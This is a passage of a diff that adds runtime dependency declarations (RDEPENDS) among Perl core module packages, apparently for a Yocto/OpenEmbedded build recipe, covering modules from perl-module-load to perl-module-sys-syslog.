+RDEPENDS:perl-module-load += "perl-module-strict"
+RDEPENDS:perl-module-load += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-version"
+RDEPENDS:perl-module-load += "perl-module-warnings"
+RDEPENDS:perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext-guts += "perl-module-locale-maketext"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
+RDEPENDS:perl-module-locale-maketext += "perl-module-integer"
+RDEPENDS:perl-module-locale-maketext += "perl-module-strict"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-base"
+RDEPENDS:perl-module-locale-maketext-simple += "perl-module-strict"
+RDEPENDS:perl-module-locale += "perl-module-config"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigfloat-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-constant"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-integer"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-calc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-fastcalc += "perl-module-xsloader"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-lib += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-complex"
+RDEPENDS:perl-module-math-bigint += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-exporter"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-overload"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-strict"
+RDEPENDS:perl-module-math-bigint-trace += "perl-module-warnings"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-math-bigrat += "perl-module-math-bigint"
+RDEPENDS:perl-module-math-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-math-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-math-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-math-complex += "perl-module-config"
+RDEPENDS:perl-module-math-complex += "perl-module-exporter"
+RDEPENDS:perl-module-math-complex += "perl-module-overload"
+RDEPENDS:perl-module-math-complex += "perl-module-strict"
+RDEPENDS:perl-module-math-complex += "perl-module-warnings"
+RDEPENDS:perl-module-math-trig += "perl-module-exporter"
+RDEPENDS:perl-module-math-trig += "perl-module-math-complex"
+RDEPENDS:perl-module-math-trig += "perl-module-strict"
+RDEPENDS:perl-module-memoize-anydbm-file += "perl-module-vars"
+RDEPENDS:perl-module-memoize += "perl-module-config"
+RDEPENDS:perl-module-memoize += "perl-module-exporter"
+RDEPENDS:perl-module-memoize += "perl-module-strict"
+RDEPENDS:perl-module-memoize += "perl-module-vars"
+RDEPENDS:perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
+RDEPENDS:perl-module-memoize-storable += "perl-module-storable"
+RDEPENDS:perl-module-mime-base64 += "perl-module-exporter"
+RDEPENDS:perl-module-mime-base64 += "perl-module-strict"
+RDEPENDS:perl-module-mime-base64 += "perl-module-vars"
+RDEPENDS:perl-module-mime-base64 += "perl-module-xsloader"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-exporter"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-mime-base64"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-mime-quotedprint += "perl-module-vars"
+RDEPENDS:perl-module-mro += "perl-module-strict"
+RDEPENDS:perl-module-mro += "perl-module-warnings"
+RDEPENDS:perl-module-mro += "perl-module-xsloader"
+RDEPENDS:perl-module-net-cmd += "perl-module-constant"
+RDEPENDS:perl-module-net-cmd += "perl-module-errno"
+RDEPENDS:perl-module-net-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-net-cmd += "perl-module-strict"
+RDEPENDS:perl-module-net-cmd += "perl-module-warnings"
+RDEPENDS:perl-module-net-config += "perl-module-exporter"
+RDEPENDS:perl-module-net-config += "perl-module-socket"
+RDEPENDS:perl-module-net-config += "perl-module-strict"
+RDEPENDS:perl-module-net-config += "perl-module-warnings"
+RDEPENDS:perl-module-net-domain += "perl-module-exporter"
+RDEPENDS:perl-module-net-domain += "perl-module-net-config"
+RDEPENDS:perl-module-net-domain += "perl-module-posix"
+RDEPENDS:perl-module-net-domain += "perl-module-socket"
+RDEPENDS:perl-module-net-domain += "perl-module-strict"
+RDEPENDS:perl-module-net-domain += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-errno"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp += "perl-module-constant"
+RDEPENDS:perl-module-net-ftp += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ftp += "perl-module-file-basename"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-config"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-ftp-a"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-ftp += "perl-module-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp += "perl-module-time-local"
+RDEPENDS:perl-module-net-ftp += "perl-module-warnings"
+RDEPENDS:perl-module-net-hostent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-hostent += "perl-module-exporter"
+RDEPENDS:perl-module-net-hostent += "perl-module-socket"
+RDEPENDS:perl-module-net-hostent += "perl-module-strict"
+RDEPENDS:perl-module-net-netent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-netent += "perl-module-exporter"
+RDEPENDS:perl-module-net-netent += "perl-module-socket"
+RDEPENDS:perl-module-net-netent += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-filehandle"
+RDEPENDS:perl-module-net-netrc += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-warnings"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-config"
+RDEPENDS:perl-module-net-nntp += "perl-module-strict"
+RDEPENDS:perl-module-net-nntp += "perl-module-time-local"
+RDEPENDS:perl-module-net-nntp += "perl-module-warnings"
+RDEPENDS:perl-module-net-ping += "perl-module-constant"
+RDEPENDS:perl-module-net-ping += "perl-module-exporter"
+RDEPENDS:perl-module-net-ping += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ping += "perl-module-filehandle"
+RDEPENDS:perl-module-net-ping += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-net-ping += "perl-module-posix"
+RDEPENDS:perl-module-net-ping += "perl-module-socket"
+RDEPENDS:perl-module-net-ping += "perl-module-strict"
+RDEPENDS:perl-module-net-ping += "perl-module-time-hires"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-pop3 += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-config"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-pop3 += "perl-module-strict"
+RDEPENDS:perl-module-net-pop3 += "perl-module-warnings"
+RDEPENDS:perl-module-net-protoent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-protoent += "perl-module-exporter"
+RDEPENDS:perl-module-net-protoent += "perl-module-strict"
+RDEPENDS:perl-module-net-servent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-servent += "perl-module-exporter"
+RDEPENDS:perl-module-net-servent += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-smtp += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-config"
+RDEPENDS:perl-module-net-smtp += "perl-module-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-warnings"
+RDEPENDS:perl-module-net-time += "perl-module-exporter"
+RDEPENDS:perl-module-net-time += "perl-module-io-select"
+RDEPENDS:perl-module-net-time += "perl-module-io-socket"
+RDEPENDS:perl-module-net-time += "perl-module-net-config"
+RDEPENDS:perl-module-net-time += "perl-module-strict"
+RDEPENDS:perl-module-net-time += "perl-module-warnings"
+RDEPENDS:perl-module-next += "perl-module-overload"
+RDEPENDS:perl-module-next += "perl-module-strict"
+RDEPENDS:perl-module-next += "perl-module-warnings"
+RDEPENDS:perl-module-ok += "perl-module-strict"
+RDEPENDS:perl-module-ok += "perl-module-test-more"
+RDEPENDS:perl-module-opcode += "perl-module-exporter"
+RDEPENDS:perl-module-opcode += "perl-module-strict"
+RDEPENDS:perl-module-opcode += "perl-module-subs"
+RDEPENDS:perl-module-opcode += "perl-module-xsloader"
+RDEPENDS:perl-module-open += "perl-module-encode"
+RDEPENDS:perl-module-open += "perl-module-encoding"
+RDEPENDS:perl-module-open += "perl-module-warnings"
+RDEPENDS:perl-module-o += "perl-module-b"
+RDEPENDS:perl-module-ops += "perl-module-opcode"
+RDEPENDS:perl-module-overloading += "perl-module-overload-numbers"
+RDEPENDS:perl-module-overloading += "perl-module-warnings"
+RDEPENDS:perl-module-overload += "perl-module-mro"
+RDEPENDS:perl-module-overload += "perl-module-warnings-register"
+RDEPENDS:perl-module-params-check += "perl-module-exporter"
+RDEPENDS:perl-module-params-check += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-params-check += "perl-module-strict"
+RDEPENDS:perl-module-params-check += "perl-module-vars"
+RDEPENDS:perl-module-parent += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-strict"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-strict"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-scalar += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-base"
+RDEPENDS:perl-module-pod-checker += "perl-module-exporter"
+RDEPENDS:perl-module-pod-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-escapes += "perl-module-exporter"
+RDEPENDS:perl-module-pod-escapes += "perl-module-strict"
+RDEPENDS:perl-module-pod-escapes += "perl-module-vars"
+RDEPENDS:perl-module-pod-escapes += "perl-module-warnings"
+RDEPENDS:perl-module-pod-functions += "perl-module-exporter"
+RDEPENDS:perl-module-pod-functions += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-man += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-man += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-subs"
+RDEPENDS:perl-module-pod-man += "perl-module-vars"
+RDEPENDS:perl-module-pod-man += "perl-module-warnings"
+RDEPENDS:perl-module-pod-parselink += "perl-module-exporter"
+RDEPENDS:perl-module-pod-parselink += "perl-module-strict"
+RDEPENDS:perl-module-pod-parselink += "perl-module-vars"
+RDEPENDS:perl-module-pod-parselink += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-fcntl"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-temp"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-text-parsewords"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-handle"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-select"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-overload"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-escapes"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-linksection"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
+RDEPENDS:perl-module-pod-simple += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-progress += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-config"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-cwd"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-encode"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-color += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-color += "perl-module-term-ansicolor"
+RDEPENDS:perl-module-pod-text-color += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text += "perl-module-encode"
+RDEPENDS:perl-module-pod-text += "perl-module-exporter"
+RDEPENDS:perl-module-pod-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-text += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-posix"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-term-cap"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-warnings"
+RDEPENDS:perl-module-pod-usage += "perl-module-config"
+RDEPENDS:perl-module-pod-usage += "perl-module-exporter"
+RDEPENDS:perl-module-pod-usage += "perl-module-strict"
+RDEPENDS:perl-module-pod-usage += "perl-module-vars"
+RDEPENDS:perl-module-posix += "perl-module-exporter"
+RDEPENDS:perl-module-posix += "perl-module-fcntl"
+RDEPENDS:perl-module-posix += "perl-module-strict"
+RDEPENDS:perl-module-posix += "perl-module-tie-hash"
+RDEPENDS:perl-module-posix += "perl-module-warnings"
+RDEPENDS:perl-module-posix += "perl-module-xsloader"
+RDEPENDS:perl-module-re += "perl-module-exporter"
+RDEPENDS:perl-module-re += "perl-module-strict"
+RDEPENDS:perl-module-re += "perl-module-term-cap"
+RDEPENDS:perl-module-re += "perl-module-warnings"
+RDEPENDS:perl-module-re += "perl-module-xsloader"
+RDEPENDS:perl-module-safe += "perl-module-b"
+RDEPENDS:perl-module-safe += "perl-module-opcode"
+RDEPENDS:perl-module-safe += "perl-module-strict"
+RDEPENDS:perl-module-safe += "perl-module-utf8"
+RDEPENDS:perl-module-sdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-sdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-sdbm-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-sdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-sdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-search-dict += "perl-module-exporter"
+RDEPENDS:perl-module-search-dict += "perl-module-feature"
+RDEPENDS:perl-module-search-dict += "perl-module-strict"
+RDEPENDS:perl-module-selfloader += "perl-module-exporter"
+RDEPENDS:perl-module-selfloader += "perl-module-io-handle"
+RDEPENDS:perl-module-selfloader += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-exporter"
+RDEPENDS:perl-module-socket += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-warnings-register"
+RDEPENDS:perl-module-socket += "perl-module-xsloader"
+RDEPENDS:perl-module-sort += "perl-module-strict"
+RDEPENDS:perl-module-storable += "perl-module-exporter"
+RDEPENDS:perl-module-storable += "perl-module-io-file"
+RDEPENDS:perl-module-sub-util += "perl-module-exporter"
+RDEPENDS:perl-module-sub-util += "perl-module-list-util"
+RDEPENDS:perl-module-sub-util += "perl-module-strict"
+RDEPENDS:perl-module-sub-util += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-exporter"
+RDEPENDS:perl-module-sys-hostname += "perl-module-posix"
+RDEPENDS:perl-module-sys-hostname += "perl-module-strict"
+RDEPENDS:perl-module-sys-hostname += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-xsloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-config"
+RDEPENDS:perl-module-sys-syslog += "perl-module-constant"
+RDEPENDS:perl-module-sys-syslog += "perl-module-dynaloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-exporter"
+RDEPENDS:perl-module-sys-syslog += "perl-module-fcntl"
+RDEPENDS:perl-module-sys-syslog += "perl-module-file-basename"
+RDEPENDS:perl-module-sys-syslog += "perl-module-posix"
